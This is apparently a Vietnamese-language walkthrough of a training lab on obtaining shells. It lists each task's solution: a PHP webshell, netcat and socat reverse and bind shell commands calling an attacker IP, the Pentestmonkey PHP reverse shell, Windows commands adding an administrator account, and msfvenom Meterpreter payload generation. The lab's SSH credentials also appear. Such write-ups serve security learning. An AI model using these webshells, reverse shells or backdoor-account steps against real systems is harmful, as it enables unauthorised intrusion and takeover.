Note
Target machine đã có sẵn netcat và socat.
Task 1
Question
Try uploading a webshell to the Linux box, then use the command:
nc <LOCAL-IP> <PORT> -e /bin/bash
to send a reverse shell back to a waiting listener on your own machine.
Truy cập vào target machine thông qua browser, thấy có nút Browse và Submit để duyệt file và upload file. Tạo ra một web shell đơn giản như sau:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
Lưu lại dưới tên webshell.php
và upload lên target machine. File được upload ở trong thư mục TARGET_IP/uploads
.
Chạy Netcat server ở attacking machine:
sudo nc -lvnp 8888
Sau đó gửi request như sau:
TARGET_IP/uploads/webshell.php?cmd=nc ATTACKING_IP 8888 -e /bin/bash
Netcat server nhận được một non-interactive reverse shell, ta có thể làm những bước trong Introduction to Shells để biến nó thành interactive.
Task 2
Question
Navigate to
/usr/share/webshells/php/php-reverse-shell.php
in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.
Tập tin php-reverse-shell.php
có thể tìm thấy ở Pentestmonkey. Sửa lại trường IP và PORT trong file này thành của attacking machine.
Upload file lên, chạy Netcat server và gửi request đến:
TARGET_IP/uploads/php-reverse-shell.php
Task 3
Question
Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.
Tên tài khoản và mật khẩu để kết nối đến target machine thông qua SSH lần lượt là: shell
và TryH4ckM3!
.
Sử dụng hai kỹ thuật trong Type of Shells để tạo reverse shell và bind shell.
Task 4
Question
Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.
Làm theo Socat để tạo reverse shell và bind shell.
Task 5
Question
Switch to the Windows VM. Try uploading and activating the
php-reverse-shell
. Does this work?
Upload thông qua browser, chạy Netcat server và gửi request tương tự như task 2. Chú ý thay IP và PORT ở trong php-reverse-shell
lại thành của attacking machine.
Task 6
Question
Upload a webshell on the Windows target and try to obtain a reverse shell using Powershell.
Cũng upload webshell.php
thông qua browser và khởi chạy một Netcat server tương tự như task 1.
Tuy nhiên, do server là Windows nên cú pháp câu lệnh sẽ hơi khác đôi chút. Cụ thể là ta dùng payload đã được encode ở trong Webshell làm giá trị của tham số cmd
. Nhớ thay IP và PORT ở trong payload lại thành của attacking machine.
Task 7
Question
The webserver is running with SYSTEM privileges. Create a new user and add it to the “administrators” group, then login over RDP or WinRM.
Sau khi có được shell ở task 5 hoặc task 6 thì ta tạo user mới và thêm vào nhóm “administrators” như sau:
net user <username> <password> /add
net localgroup administrators <username> /add
Sau đó ta có thể đăng nhập thông qua chương trình Remote Desktop Connection của Windows hoặc freerdp2-x11 của Linux. Đối với freerdp2-x11
thì cú pháp như sau:
`xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.152.57 /u:<username> /p:'<password>'`
Task 8
Question
Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.
Để dễ dàng thao tác, ta dùng Remote Desktop Connection.
Thực hiện tương tự task 3, tuy nhiên shell sử dụng của phía Windows là cmd.exe
trong trường hợp dùng Netcat. Đối với Socat thì có thể sử dụng powershell.exe
.
Task 9
Question
Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.
Tạo ra payload bằng Metasploit Venom như sau:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<attacker ip> LPORT=<attacker port>
Host một server bằng Python để target machine có thể tải payload:
python3 -m http.server 8000
Sử dụng browser ở trên target machine thông qua Remote Desktop Connection để tải về payload.
Sau đó khởi chạy Metasploit Multi-Handler ở trên attacking machine với các tham số PAYLOAD, LHOSY và LPORT tương tự như payload ở trên.
Cuối cùng thực thi payload đã tải ở phía target machine và ta sẽ nhận được reverse shell.
Task 10
Question
Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with netcat — does this work?
Tạo staged payload:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o reverse_tcp_staged.exe LHOST=<attacker ip> LPORT=<attacker port>
Tạo stageless payload:
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o reverse_tcp_stageless.exe LHOST=<attacker ip> LPORT=<attacker port>
Tải về target machine hai payload trên tương tự như task 9. Sau đó chạy một Netcat server ở attacking machine và thực thi từng payload. Nhận thấy đối với stageless payload thì bên attacking có thể nhận được reverse shell. Còn đối với staged payload thì chỉ có kết nối chứ không có reverse shell.